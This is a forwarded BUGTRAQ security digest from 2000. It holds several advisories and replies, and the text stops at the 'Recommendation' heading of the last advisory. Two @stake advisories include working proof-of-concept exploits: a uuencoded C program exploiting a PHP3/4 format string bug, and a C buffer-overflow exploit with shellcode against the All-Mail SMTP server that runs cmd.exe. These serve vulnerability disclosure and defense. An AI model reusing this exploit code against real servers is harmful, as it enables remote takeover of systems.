[Phpwiki-talk] Vulnerability in PHP3/4

[Steve W. <sw...@wc...>]

This BUGTRAQ digest contains information on a remote exploit for web
servers running PHP. You should read it and verify your system is not
vulnerable.

sw

...............................ooo0000ooo.................................
   Hear FM quality freeform radio through the Internet: http://wcsb.org/
                     home page: www.wcsb.org/~swain 

---------- Forwarded message ----------
Date: Fri, 13 Oct 2000 00:00:25 -0700
From: Automatic digest processor <LIS...@LI...>
Reply-To: Bugtraq List <BU...@SE...>
To: Recipients of BUGTRAQ digests <BU...@LI...>
Subject: BUGTRAQ Digest - 11 Oct 2000 to 12 Oct 2000 (#2000-231)

There are 11 messages totalling 1355 lines in this issue.

Topics of the day:

  1. Shred v1.0 Fix
  2. MDKSA-2000:057 - openssh update
  3. Security Bulletins Digest
  4. @stake Advisory: PHP3/PHP4 Logging Format String Vulnerability (A
     101200-1)
  5. Buggy ARP handling in Windoze
  6. @stake Advisory: All-Mail buffer overrun vulnerability (A101200-2 )
  7. Shred 1.0 Bug Report (2)
  8. GPG 1.0.3 doesn't detect modifications to files with multiple signatures
  9. solaris8 dtmail
 10. Netscape Messaging server 4.15 poor error strings

----------------------------------------------------------------------

Date:    Thu, 12 Oct 2000 22:30:56 +0900
From:    Chiaki Ishikawa <Chi...@PE...>
Subject: Re: Shred v1.0 Fix

X-PMC-CI-e-mail-id: 13785

Hi,

Looking at the fix, I have some comments.

Shouldn't we check

 - the return value of fwrite() [Yes, I am paranoia.],

 - the return value of unlink()  [ ditto ]

 - the return value of fopen in filesize(),

 (Since we call filesize() from overwrite() in which
  fopen() for the file in question is done anyway,
  we might check the filesize in overwrite() AFTER
  obtaining the fopen() without requiring
  filesize() to fopen/fclose. Or we just pass
  the fp instead of the filename...)

Should we not

 - abort if fstat() in filesize somehow failed [something is
   really screwed up if so.]

 - warn the user just in case the remaining link count
   will NOT be zero and the overwritten file
   is still referenced somehow under a different name.

Just a thought.

--
     Ishikawa, Chiaki        ish...@pe...  or
 (family name, given name) Chi...@pe...
    Personal Media Corp.      ** Remove .NoSpam at the end before use **
  Shinagawa, Tokyo, Japan 142-0051

------------------------------

Date:    Thu, 12 Oct 2000 15:58:41 +0200
From:    Markus Friedl <mar...@IN...>
Subject: Re: MDKSA-2000:057 - openssh update

hello,

this makes no sense at all. the problem is about 'defects' in scp/rcp,
and has nothing to do with /usr/bin/ssh having sbits turned off or not.

this advisory is wrong, and missleading at its best.

-markus (@openssh.com)

On Tue, Oct 10, 2000 at 11:51:16AM -0600, Linux Mandrake Security Team wrote:
> ________________________________________________________________________
>
> Package name:		openssh
> Date:			October 10th, 2000
> Advisory ID:		MDKSA-2000:057
>
> Affected versions:	7.0, 7.1
> ________________________________________________________________________
>
> Problem Description:
>
>  A problem exists with openssh's scp program.  If a user uses scp to
>  move files from a server that has been compromised, the operation can
>  be used to replace arbitrary files on the user's system.  The problem
>  is made more serious by setuid versions of ssh which allow overwriting
>  any file on the local user's system.  If the ssh program is not setuid
>  or is setuid to someone other than root, the intrustion is limited to
>  files with write access granted to the owner of the ssh program.  In
>  either case, files can be overwritten with code allowing others access
>  to the system unexpectedly.  While no fix has been provided for openssh
>  as of yet, the versions of openssh available for Linux-Mandrake 7.0 and
>  7.1 were setuid root.  This update removes the setuid bit from the ssh
>  program and limits the exploitability of scp somewhat.  All users of
>  Linux-Mandrake are encouraged to upgrade to these latest openssh
>  builds.  Linux-Mandrake 7.0 users will also need to upgrade openssl in
>  order to use the 7.0 update of openssh.
> ________________________________________________________________________

------------------------------

Date:    Thu, 12 Oct 2000 14:11:10 +0200
From:    "Oonk, Patrick" <pa...@PI...>
Subject: Security Bulletins Digest

                        HP Support Information Digests

===============================================================================
o  IT Resource Center World Wide Web Service
   ---------------------------------------------------

   If you subscribed through the IT Resource Center and would
   like to be REMOVED from this mailing list, access the
   IT Resource Center on the World Wide Web at:

     http://us.itrc.hp.com/

   Login using your IT Resource Center User ID and Password.
   Then select Support Information Digests (located under
   Maintenance and Support).  You may then unsubscribe from the
   appropriate digest.
===============================================================================


Digest Name:  Daily Security Bulletins Digest
    Created:  Thu Oct 12  3:00:02 PDT 2000

Table of Contents:

Document ID      Title
---------------  -----------
HPSBUX0010-124   Sec. Vulnerability in VVOS NSAPI

The documents are listed below.
-------------------------------------------------------------------------------


Document ID:  HPSBUX0010-124
Date Loaded:  20001011
      Title:  Sec. Vulnerability in VVOS NSAPI

-------------------------------------------------------------------------
    HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #0124, 12 Oct. '00
-------------------------------------------------------------------------

 The information in the following Security Bulletin should be acted upon
 as soon as possible.  Hewlett-Packard Company will not be liable for any
 consequences to any customer resulting from customer's failure to fully
 implement instructions in this Security Bulletin as soon as possible.

-------------------------------------------------------------------------
PROBLEM:  The NSAPI plugin versions of the TGA and the Java Servlet
          proxy demonstrate high CPU utilization under certain
          conditions.

PLATFORM: HP9000 Series 7/800 running HP-UX 10.24 and 11.04 (VVOS)
          with VirtualVault (US/Canada or International).

DAMAGE:   Potential denial of services.

SOLUTION: Apply the appropriate patch:
              HP-UX release 10.24:                 PHSS_22187
              HP-UX release 11.04:                 PHSS_22296

AVAILABILITY: The patches are currently available.
-------------------------------------------------------------------------
I.
   A. Background
      The NSAPI plugin versions of the TGA and the Java Servlet
      proxy demonstrate high CPU utilization under certain conditions.
      when running under the VirtualVault Operating System (VVOS).

   B. Fixing the problem
      This problem can be eliminated by installing one of the following
      patches.

      Under HP-UX 10.24, with VirtualVault A.03.50 (both US/Canada
      and International):                                PHSS_22187

      Under HP-UX 11.04, with VirtualVault A.04.00 (both US/Canada
      and International):                                PHSS_22296

   C. To subscribe to automatically receive future NEW HP Security
      Bulletins from the HP IT Resource Center via electronic mail,
      do the following:

      Use your browser to get to the HP IT Resource Center page
      at:

        http://us-support.external.hp.com
               (for US, Canada, Asia-Pacific, & Latin-America)
        http://europe-support.external.hp.com     (for Europe)

      Under the Maintenance and Support Menu (Electronic Support Center):
        click on the "more..." link.  Then -

      To -subscribe- to future HP Security Bulletins, or
      To -review- bulletins already released
        click on "Support Information Digests" near the bottom of the
        page, under "Notifications".

      Login with your user ID and password (or register for one).
      (Remember to save the User ID assigned to you, and your password).

      On the "Support Information Digest Main" page:
      click on the "HP Security Bulletin Archive".

      Once in the archive the third link is to our current Security
      Patch Matrix.  Updated daily, this matrix categorizes security
      patches by platform/OS release, and by bulletin topic.

      The security patch matrix is also available via anonymous ftp:

      ftp.itrc.hp.com
      ~ftp/export/patches/hp-ux_patch_matrix

   D. To report new security vulnerabilities, send email to

       sec...@hp...

      Please encrypt any exploit information using the security-alert
      PGP key, available from your local key server, or by sending a
      message with a -subject- (not body) of 'get key' (no quotes) to
      sec...@hp....

     Permission is granted for copying and circulating this bulletin to
     Hewlett-Packard (HP) customers (or the Internet community) for the
     purpose of alerting them to problems, if and only if, the bulletin
     is not edited or changed in any way, is attributed to HP, and
     provided such reproduction and/or distribution is performed for
     non-commercial purposes.

     Any other use of this information is prohibited. HP is not liable
     for any misuse of this information by any third party.
_________________________________________________________________________
-----End of Document ID:  HPSBUX0010-124--------------------------------------

------------------------------

Date:    Thu, 12 Oct 2000 10:04:32 -0400
From:    "@stake Advisories" <adv...@AT...>
Subject: @stake Advisory: PHP3/PHP4 Logging Format String Vulnerability (A
         101200-1)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



We contacted the PHP team on 10/3/2000 concerning this problem. We =
wanted
to hold off releasing our advisory until a fix was available for PHP3
since some users may not be able to easily upgrade to PHP4.  Fixes for
PHP3 and PHP4 are now available. We are aware that Jouko Pynn=F6nen
<jo...@so...> found this problem independantly but chose to =
release
before the PHP3 fix was available.

Weld Pond


                          @stake, Inc.
                        www.atstake.com  =20

                       Security Advisory

Advisory Name: PHP3/PHP4 Logging Format String Vulnerability
 Release Date: 10/12/2000
  Application: PHP3 and PHP4
     Platform: All platforms
     Severity: Attacker can remotely compromise PHP3 enabled =
webservers,
               and most likely PHP4 enabled webservers
       Author: DilDog [di...@at...]
Vendor Status: Fix for PHP3 and PHP4 available
          Web: www.atstake.com/research/advisories/2000/a101200-1.txt

Executive Summary

	PHP versions 3 and 4 are vulnerabled to format string attacks in
their logging functions. This can lead to remote takeover of PHP =
enabled
webservers that have logging enabled.


Overview

	PHP versions 3 and 4 employ a set of logging functions that,
through an improper use of 'syslog()' and 'vsnprintf()', render it
vulnerable to attack. The attacker could utilize this vulnerability to
remotely compromise any PHP enabled webserver that has logging to =
either
syslog or to a file enabled in the 'php.ini' configuration file. This
particular attack does not affect PHP installations that do not log PHP
errors and warnings.



Detailed Description

PHP versions 3 and 4 utilize the following functions:


main/php_syslog.h:

#define php_syslog syslog


main/main.c:

void php_log_err(char *log_message)
{
	...     =20
	php_syslog(LOG_NOTICE, log_message)
	...

	fprintf(log_file, "[%s] ", error_time_str);
	fprintf(log_file, log_message);
                fprintf(log_file, "\n");
...
}




	Hence, if the "log_message" contains any user input at all, then
it creates a vulnerability. An exploitable condition is presented in =
the
following code for PHP 3, since 'php3_error' calls down to php_log_err =
if
logging is enabled:


main/main.c:

PHPAPI void php3_error(int type, const char *format,...) {
	...
	char log_buffer[1024];
                snprintf(log_buffer, 1024, "PHP 3 %s:  %s in %s on line =
%d",
error_type_str, buffer, filename, =
php3_get_lineno(GLOBAL(current_lineno)));

	php3_log_err(log_buffer);
	...
}


functions/post.c:

static char *php3_getpost(pval *http_post_vars)
{
	...
	php3_error(E_WARNING, "File Upload Error: No MIME boundary
	found");
        php3_error(E_WARNING, "There should have been a
	\"boundary=3D3Dsomething\" in the Content-Type string");
	php3_error(E_WARNING, "The Content-Type string was: \"%s\"",
	ctype);
	...
}

	PHP4 looks vulnerable as well, but in a different place. When a
file is uploaded via a post operation, if the file name contains format
string exploit code, and the file size is larger than the maximum file
size for uploads, the following code is executed. Note that this =
possible
problem has not been tested by @stake, but the code path looks
problematic:

static void php_mime_split(char *buf, int cnt, char *boundary, zval
*array_ptr)
{
	...
	php_error(E_WARNING, "Max file size exceeded - file [%s] not
	saved", namebuf);
	...
}



Temporary Solution

Turn off logging on PHP3 and PHP4 by going into your 'php.ini'
file and changing the following settings to:

log_errors =3D Off



Vendor Response

A fixed version of PHP4 is available:
http://www.php.net/do_download.php?download_file=3Dphp-4.0.3.tar.gz  =20

A fixed version of PHP3 is available:
http://www.php.net/distributions/php-3.0.17.tar.gz


Proof-of-Concept Code


	This proof of concept code creates a zero length file in
/tmp/BADPHP. Use like this:

gcc badphp.c && ./a.out <ip address of webserver> <port of webserver>=20
<php file path>

(php file path must point to an existing php file, such as /foo.php3)

begin 644 badphp.c

M(VEN8VQU9&4\<W1D:6\N:#X*(VEN8VQU9&4\<WES+W1Y<&5S+F@^"B-I;F-L

M=3D61E/'-Y<R]S;V-K970N:#X*(VEN8VQU9&4\;F5T:6YE=3D"]I;BYH/@HC:6YC

M;'5D93QA<G!A+VEN970N:#X*(VEN8VQU9&4\;F5T9&(N:#X*"B-D969I;F4@

M0E-)6D4@,34T.0HC9&5F:6YE($)51D9%4EI/3D4@,3(X"@II;G0@;6%I;BAI

M;G0@87)G8RP@8VAA<B`J87)G=3DEM=3D*0I["B`@:6YT(&DL<W1A<G0L8V]U;G0[

M"B`@:6YT('-T86-K;&]C/3!X0D9&1D1!-C`["B`@:6YT(',["B`@1DE,12`J

M9CL*("!F9%]S970@<F9D<SL*("!S=3D')U8W0@:&]S=3D&5N=3D"`J:&4["B`@<W1R

M=3D6-T('-O8VMA9&1R7VEN('-A9&1R.PH@(&-H87(@<W!L;VET6T)325I%73L*

M("!C:&%R(&9I;&5;73TB+W1M<"]"04102%`B.PH@(&-H87(@8SL*"B`@:68H

M87)G8R$]-2D@>PH@("`@<')I;G1F*"(E<R`\861D<CX@/'!O<G0^(#QO9F9S

M970^(#QP:'`@9FEL92!N86UE/EQN(BQA<F=3DV6S!=3D*3L*("`@('!R:6YT9B@B

M;V9F<V5T/3`@9F]R(&UO<W0@<WES=3D&5M<RY<;B(I.R`*("`@(')E=3D'5R;B`P

M.PH@('T*"B`@+RHJ*B!B=3D6EL9"!E>'!L;VET('-T<FEN9R`J*BHO"B`@"B`@

M+RH@=3DW)I=3D&4@8F%D(&9O<FUA=3D"!S=3D')I;F<L(&%D9&EN9R!I;B!O9F9S970@

M*B\*("!S;G!R:6YT9BAS<&QO:70L<VEZ96]F*'-P;&]I=3D"DL"@D@("`B0V]N

M=3D&5N=3D"U4>7!E.FUU;'1I<&%R=3D"]F;W)M+61A=3D&$@)24E=3D5@E)5@E)5@E)6AN

M(BP*"2`@(#4U.#$W("\J*V]F9G-E=3D#`L,2PR+#,J+R`I.PH*("`O*B!F:6QL

M('=3DI=3D&@@8G)E86MP;VEN=3D',@86YD(&YO<',J+PH@('-T87)T/7-T<FQE;BAS

M<&QO:70I.PH@(&UE;7-E=3D"AS<&QO:70K<W1A<G0L,'A#0RQ"4TE:12US=3D&%R

M=3D"D["B`@;65M<V5T*'-P;&]I=3D"MS=3D&%R=3D"M"549&15):3TY%*C0L,'@Y,"Q"

M549&15):3TY%*C0I.PH@('-P;&]I=3D%M"4TE:12TQ73TP.PH@(`H@("\J('!O

M:6YT97(@=3D&\@<W1A<G0@;V8@8V]D92`H<W1A8VML;V,K-"D@*B\*("!C;W5N

M=3D#U"549&15):3TY%.PH@(&9O<BAI/3`[:3QC;W5N=3D#MI*RLI('L*("`@('5N

M<VEG;F5D(&EN=3D"!V86QU93US=3D&%C:VQO8RLT*RAC;W5N=3D"HT*3L*("`@(&EF

M*"AV86QU928P>#`P,#`P,$9&*3T],"D@=3DF%L=3D65\/3!X,#`P,#`P,#0["B`@

M("!I9B@H=3DF%L=3D64F,'@P,#`P1D8P,"D]/3`I('9A;'5E?#TP>#`P,#`P-#`P

M.PH@("`@:68H*'9A;'5E)C!X,#!&1C`P,#`I/3TP*2!V86QU97P],'@P,#`T

M,#`P,#L*("`@(&EF*"AV86QU928P>$9&,#`P,#`P*3T],"D@=3DF%L=3D65\/3!X

M,#0P,#`P,#`["B`@("`J*'5N<VEG;F5D(&EN=3D"`J*28H<W!L;VET6W-T87)T

M*VDJ-%TI/79A;'5E.PH@('T*("!S=3D&%R=3D"L]0E5&1D526D].12HT*C(["@H@
M("\J*BH@8G5I;&0@<VAE;&QC;V1E("HJ*B\*"B`@<W!L;VET6W-T87)T*S!=3D

M/3!X.3`[("\J(&YO<"`J+PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ73TP>$)!.R`O

M*B!M;W8@961X+"`H;F]T(#!X,4(V("AA*W)W*2D@*B\*("!S<&QO:71;<W1A

M<G0K,ET],'@T.3L*("!S<&QO:71;<W1A<G0K,UT],'A&13L*("!S<&QO:71;

M<W1A<G0K-%T],'A&1CL*("!S<&QO:71;<W1A<G0K-5T],'A&1CL*"B`@<W!L

M;VET6W-T87)T*S9=3D/3!X1C<[("\J(&YO=3D"!E9'@@*B\*("!S<&QO:71;<W1A

M<G0K-UT],'A$,CL*"B`@<W!L;VET6W-T87)T*SA=3D/3!X0CD[("\J(&UO=3DB!E

M8W@L("AN;W0@,'@T,"`H3U]#4D5!5"DI("HO"B`@<W!L;VET6W-T87)T*SE=3D

M/3!X0D8["B`@<W!L;VET6W-T87)T*S$P73TP>$9&.PH@('-P;&]I=3D%MS=3D&%R

M=3D"LQ,5T],'A&1CL*("!S<&QO:71;<W1A<G0K,3)=3D/3!X1D8["B`@"B`@<W!L

M;VET6W-T87)T*S$S73TP>$8W.R`O*B!N;W0@96-X("HO"B`@<W!L;VET6W-T

M87)T*S$T73TP>$0Q.PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ-5T],'A%.#L@+RH@

M8V%L;"!E:7`K-"`K(&EN8R!E87@@*&]V97)L87!P:6YG*2`J+PH@('-P;&]I

M=3D%MS=3D&%R=3D"LQ-ET],'A&1CL@"B`@<W!L;VET6W-T87)T*S$W73TP>$9&.R`*

M("!S<&QO:71;<W1A<G0K,3A=3D/3!X1D8[(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ.5T]

M,'A&1CL@"B`@<W!L;VET6W-T87)T*S(P73TP>$,P.PH@('-P;&]I=3D%MS=3D&%R

M=3D"LR,5T],'@U0CL@+RH@<&]P(&5B>"`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LR,ET]

M,'@V03L@+RH@<'5S:"`R,B`H;V9F<V5T('1O(&5N9"!O9B!S<&QO:70@*&9I

M;&5N86UE*2D@*B\*("!S<&QO:71;<W1A<G0K,C-=3D/3!X,38["B`@<W!L;VET

M6W-T87)T*S(T73TP>#4X.R`O*B!P;W`@96%X("HO"B`@<W!L;VET6W-T87)T

M*S(U73TP>#`S.R`O*B!A9&0@96)X+&5A>"`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LR

M-ET],'A$.#L*("`*("!S<&QO:71;<W1A<G0K,C=3D=3D/3!X,S,[("\J('AO<B!E

M87@L96%X("HO"B`@<W!L;VET6W-T87)T*S(X73TP>$,P.PH*("!S<&QO:71;

M<W1A<G0K,CE=3D/3!X.#@[("\J(&UO=3DB!B>71E('!T<B!;96)X*S$Q72QA;"`J

M+PH@('-P;&]I=3D%MS=3D&%R=3D"LS,%T],'@T,SL*("!S<&QO:71;<W1A<G0K,S%=3D

M/3!X,$(["B`*("!S<&QO:71;<W1A<G0K,S)=3D/3!X.#,[("\J(&%D9"!E87@L

M-2`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LS,UT],'A#,#L*("!S<&QO:71;<W1A<G0K

M,S1=3D/3!X,#4["@H@('-P;&]I=3D%MS=3D&%R=3D"LS-5T],'A#1#L@+RH@:6YT(#@P

M("AO<&5N*2`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LS-ET],'@X,#L*"B`@<W!L;VET

M6W-T87)T*S,W73TP>#,S.R`O*B!X;W(@96%X+&5A>"`J+PH@('-P;&]I=3D%MS

M=3D&%R=3D"LS.%T],'A#,#L*(`H@('-P;&]I=3D%MS=3D&%R=3D"LS.5T],'@T,#L@+RH@

M:6YC(&5A>"`J+PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LT,%T],'A#1#L@+RH@:6YT

M(#@P("A?97AI=3D"D@*B\*("!S<&QO:71;<W1A<G0K-#%=3D/3!X.#`["B`@"B`@

M+RH@861D(&9I;&5N86UE('1O('1O=3D6-H("HO"B`@<W1R;F-P>2@F<W!L;VET

M6W-T87)T*S0R72QF:6QE+'-T<FQE;BAF:6QE*2D["@H@("\J*BH@<V5N9"!E

M>'!L;VET('-T<FEN9R`J*BHO"B`*("`O*B!C<F5A=3D&4@<V]C:V5T("HO"B`@

M<SUS;V-K970H4$9?24Y%5"Q33T-+7U-44D5!32Q)4%!23U1/7U1#4"D["B`@=20
M:68H<SPP*2!["B`@("!P<FEN=3D&8H(F-O=3D6QD;B=3DT(&-R96%T92!S;V-K970N

M7&XB*3L*("`@(')E=3D'5R;B`P.PH@('T@"B`*("`O*B!C;VYN96-T('1O('!O

M<G0@*B\*("!M96US970H)G-A9&1R+#`L<VEZ96]F*'-A9&1R*2D["B`@<V%D

M9'(N<VEN7V9A;6EL>3U!1E])3D54.PH@('-A9&1R+G-I;E]P;W)T/6AT;VYS

M*&%T;VDH87)G=3DELR72DI.PH@(&AE/6=3DE=3D&AO<W1B>6YA;64H87)G=3DELQ72D[

M"B`@:68H:&4]/4Y53$PI('L*("`@('!R:6YT9B@B:6YV86QI9"!H;W-T;F%M

M92Y<;B(I.PH@('T*("!M96UC<'DH)BAS861D<BYS:6Y?861D<BYS7V%D9'(I

M+&AE+3YH7V%D9')?;&ES=3D%LP72QS:7IE;V8H<W1R=3D6-T(&EN7V%D9'(I*3L*

M"B`@:68H8V]N;F5C=3D"AS+"AS=3D')U8W0@<V]C:V%D9'(@*BDF<V%D9'(L<VEZ

M96]F*'-A9&1R*2DA/3`I('L*("`@('!R:6YT9B@B8V]U;&1N)W0@8V]N;F5C

M=3D"Y<;B(I.PH@("`@<F5T=3D7)N(#`["B`@?0H@(`H@("\J(&9D;W!E;B!T:&4@

M<V]C:V5T('1O('5S92!S=3D')E86T@9G5N8W1I;VYS("HO"B`@9CUF9&]P96XH

M<RPB=3DR(I.PH@(&EF*&8]/4Y53$PI('L*("`@(&-L;W-E*',I.PH@("`@<')I

M;G1F*")C;W5L9&XG=3D"!F9&]P96X@<V]C:V5T+EQN(BD["B`@("!R971U<FX@

M,#L*("!]"@H@("\J('!U=3D"!T:&4@<&]S=3D"!R97%U97-T('1O('1H92!S;V-K

M970@*B\*("!F<')I;G1F*&8L(E!/4U0@)7,@2%144"\Q+C!<;B(L87)G=3DELT

M72D["B`@9G!U=3D',H<W!L;VET+&8I.PH@(&9P=3D71C*"=3D<;B<L9BD["B`@9G!U

M=3D&,H)UQN)RQF*3L*("!F9FQU<V@H9BD["@H@("\J(&-L;W-E('1H92!S;V-K

M970@*B\*("!F8VQO<V4H9BD["B`@8VQO<V4H<RD["@H@(')E=3D'5R;B`P.PI]

("@H*"@H*"@H`

`

end       =20

For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc

Copyright 2000 @stake, Inc. All rights reserved.

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOeXDs1ESXwDtLdMhEQKhfQCg9vH3t5G8VsJfm87jcfFd1+wUwSUAoPK0
Nuo1xrPafrB4/ktOyIvMJzzf
=3DURKs
-----END PGP SIGNATURE-----

------------------------------

Date:    Tue, 10 Oct 2000 20:03:41 +0200
From:    "Woch, Wojtek" <ww...@CP...>
Subject: Re: Buggy ARP handling in Windoze

Paul Starzetz wrote:

> I discovered a strange bug in the ARP handling under Windows 98/latest
> Winsock patch (IGMP). Win98 (at almost Win95 as far as tested) would not
> handle static ARP entries correctly. Setting up an static ARP cache

Testing on NT 4.0 with SP6a shows that it behaves the same, although
the spoofed machine complains in its event log with a Tcpip event #4199
and an application popup #26 (IP address conflict).

It appears also that as long as the IP address is in the ARP cache,
it's MAC address can be overwritten - even if the entry is flagged as
dynamic. But as Yuri Volobuev noted in his post "Redir games with ARP
and ICMP", you would need to inject ARP packets continously in this case.


cf http://www.securityfocus.com/templates/archive.pike?start=2000-10-08&list=1&end=2000-10-14&tid=7665&threads=0&

------------------------------

Date:    Thu, 12 Oct 2000 12:07:28 -0400
From:    "@stake Advisories" <adv...@AT...>
Subject: @stake Advisory: All-Mail buffer overrun vulnerability (A101200-2 )

The signature was botched on the first one.  Please use this is possible.

-weld

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


                              @stake Inc.
                            www.atstake.com

                           Security Advisory

Advisory Name: All-Mail buffer overrun vulnerability
 Release Date: 10/12/2000
  Application: Nevis Systems All-Mail 1.1
     Platform: Windows NT 4.0 / 2000
     Severity: There are several buffer overflow conditions
               that could result in execution of arbitrary
               code or a denial of service.
      Authors: David Litchfield [dli...@at...]
Vendor Status: Vendor alerted - details bellow.
          Web: www.atstake.com/research/advisories/2000/a101200-2.txt


Overview:

	Nevis System's All-Mail (http://www.n-systems.com/) is a personal
and small office mail server written for the Windows platform. There are
various buffer overrun vulnerabilities in this server that can allow a
remote attacker to gain complete control of the server's execution and
execute arbitrary computer code.

There are a several methods that can be used to overflow various static
buffers in the SMTP component of the server for examples having an overly
long "mail from" or "rcpt to" command.

Proof of Concept

The following code will connect to TCP port 25 on the remote system and
then cause the overflow. The code executed here simply spawns a shell,
performs a directory listing and pipes the output to a file called
"allmail_orun.txt" on the target system. This will allow users to check if
their mail server is vulnerable by testing for the file.

Cut --------8<----------------------

#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <stdio.h>

struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;
char hostname[256]="";

int main(int argc, char *argv[])
{
	int chk=0,count=0;
	char
buffer[500]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPP
PQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ11112222333344445555666677778888999
90000aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrr
rssssttttuuuuvvvvwwwwxxxxyy";
	
	if(argc == 1)
		{
			printf("\n\tUsage: C:\\>%s host\n\tTests for
All-Mail buffer overflow\n\tDavid Litchfield 10th October
2000\n\n",argv[0]);
			return 0;
		}

	strncpy(hostname,argv[1],250);

	// Overwrite the saved return address with 0x77F32836
	// This address contains a JMP ESP instruction that
	// when executed will land us back in our buffer

	buffer[242]=0x36;
	buffer[243]=0x28;
	buffer[244]=0xF3;
	buffer[245]=0x77;

	count = 246;

	// This part of the buffer gets zapped - just put NOPs in

	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;
	buffer[count++]=0x90;


	// This is where our code starts in earnest

	// mov esp,ebp
	buffer[count++]=0x8B;
	buffer[count++]=0xEC;

	// With our stack perserved and our code safe we continue

	// mov ebx,esp
	buffer[count++]=0x8B;
	buffer[count++]=0xDC;

	// mov eax,77F1A986h
	buffer[count++]=0xB8;
	buffer[count++]=0x86;
	buffer[count++]=0xA9;
	buffer[count++]=0xF1;
	buffer[count++]=0x77;

	// xor esi,esi
	buffer[count++]=0x33;
	buffer[count++]=0xF6;

	// push esi
	buffer[count++]=0x56;

	// mov ecx, 0xFFFFFFFF
	buffer[count++]=0xB9;
	buffer[count++]=0xFF;
	buffer[count++]=0xFF;
	buffer[count++]=0xFF;
	buffer[count++]=0xFF;

	// sub ecx, 0x0D7
	buffer[count++]=0x83;
	buffer[count++]=0xE9;
	buffer[count++]=0xD7;

	// loophere:

	// sub dword ptr[ebx+0x50],1
	buffer[count++]=0x83;
	buffer[count++]=0x6B;
	buffer[count++]=0x50;
	buffer[count++]=0x01;

	// sub ebx,1
	buffer[count++]=0x83;
	buffer[count++]=0xEB;
	buffer[count++]=0x01;

	// sub ecx,1
	buffer[count++]=0x83;
	buffer[count++]=0xE9;
	buffer[count++]=0x01;

	// test ecx,ecx
	buffer[count++]=0x85;
	buffer[count++]=0xC9;

	// jne loophere
	buffer[count++]=0x75;
	buffer[count++]=0xF2;

	// add ebx,0x55
	buffer[count++]=0x83;
	buffer[count++]=0xC3;
	buffer[count++]=0x55;

	// push ebx	
	buffer[count++]=0x53;

	// call eax
	buffer[count++]=0xFF;
	buffer[count++]=0xD0;

	// This bunch is our command to run:
	// cmd.exe /c dir > allmail_orun.txt
	// but with 1 added to evey character
	// which is SUBed in the loop above
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	buffer[count++]=0x64;
	buffer[count++]=0x6e;
	buffer[count++]=0x65;
	buffer[count++]=0x2f;
	buffer[count++]=0x66;
	buffer[count++]=0x79;
	buffer[count++]=0x66;
	buffer[count++]=0x21;
	buffer[count++]=0x30;
	buffer[count++]=0x64;
	buffer[count++]=0x21;
	buffer[count++]=0x65;
	buffer[count++]=0x6a;
	buffer[count++]=0x73;
	buffer[count++]=0x21;
	buffer[count++]=0x3f;
	buffer[count++]=0x21;
	buffer[count++]=0x62;
	buffer[count++]=0x6d;
	buffer[count++]=0x6d;
	buffer[count++]=0x6e;
	buffer[count++]=0x62;
	buffer[count++]=0x6a;
	buffer[count++]=0x6d;
	buffer[count++]=0x60;
	buffer[count++]=0x70;
	buffer[count++]=0x73;
	buffer[count++]=0x76;
	buffer[count++]=0x6f;
	buffer[count++]=0x2f;
	buffer[count++]=0x75;
	buffer[count++]=0x79;
	buffer[count++]=0x75;
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	buffer[count++]=0x01;
	

	if(startWSOCK(hostname)!=0)
		{
			printf("Winsock Error!\n");
			return 0;
		}

	DoBufferOverrun(buffer);

	return 0;

}	



int startWSOCK(char *swhost)
{
	int err=0;
	WORD wVersionRequested;
	WSADATA wsaData;

	wVersionRequested = MAKEWORD( 2, 0 );
	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 )
		{
			
			return 2;
		}
	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion )
!= 0 )
		{
   	 		WSACleanup( );
    			return 3;
		}

	if ((he = gethostbyname(swhost)) == NULL)
		{
			printf("Host not found..");
			return 4;
		}
	sa.sin_addr.s_addr=INADDR_ANY;
	sa.sin_family=AF_INET;
	memcpy(&sa.sin_addr,he->h_addr,he->h_length);

	return 0;
}	

int DoBufferOverrun(char *exploit)
{
	
	int snd, rcv, err, count =0,incount = 0;	
	char resp[200],*loc=NULL;

	sa.sin_port=htons(25);
	sock=socket(AF_INET,SOCK_STREAM,0);
	bind(sock,(struct sockaddr *)&sa,sizeof(sa));
	if (sock==INVALID_SOCKET)
		{
			closesocket(sock);
			return 0;
		}

	if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
		{

			closesocket(sock);
			printf("Failed to connect\n");
			return 0;
		}
	else
		{
			rcv = recv(sock,resp,200,0);
			snd = send(sock,"helo
all-mail.overrun.test\r\n",28,0);
			rcv = recv(sock,resp,200,0);
			loc = strstr(resp,"250 HELO accepted");
			if(loc == NULL)
				{
					printf("Server does not appear to be
running All-Mail\nAborting...");
					closesocket(sock);
					return 0;
				}
			else
				{
					snd = send(sock,"mail from:
<",12,0);
					snd =
send(sock,exploit,strlen(exploit),0);
					snd = send(sock,">\r\n",3,0);
					printf("Payload
sent...allmail_orun.txt should have been created.\n");
				}
		}

closesocket(sock);
return 0;
}

Cut -------8<---------


Vendor Response:

	When informed of these issues the vendor has decided not to support
this product any longer and have stated they will inform their customers of
what they should do.

Recommendation:

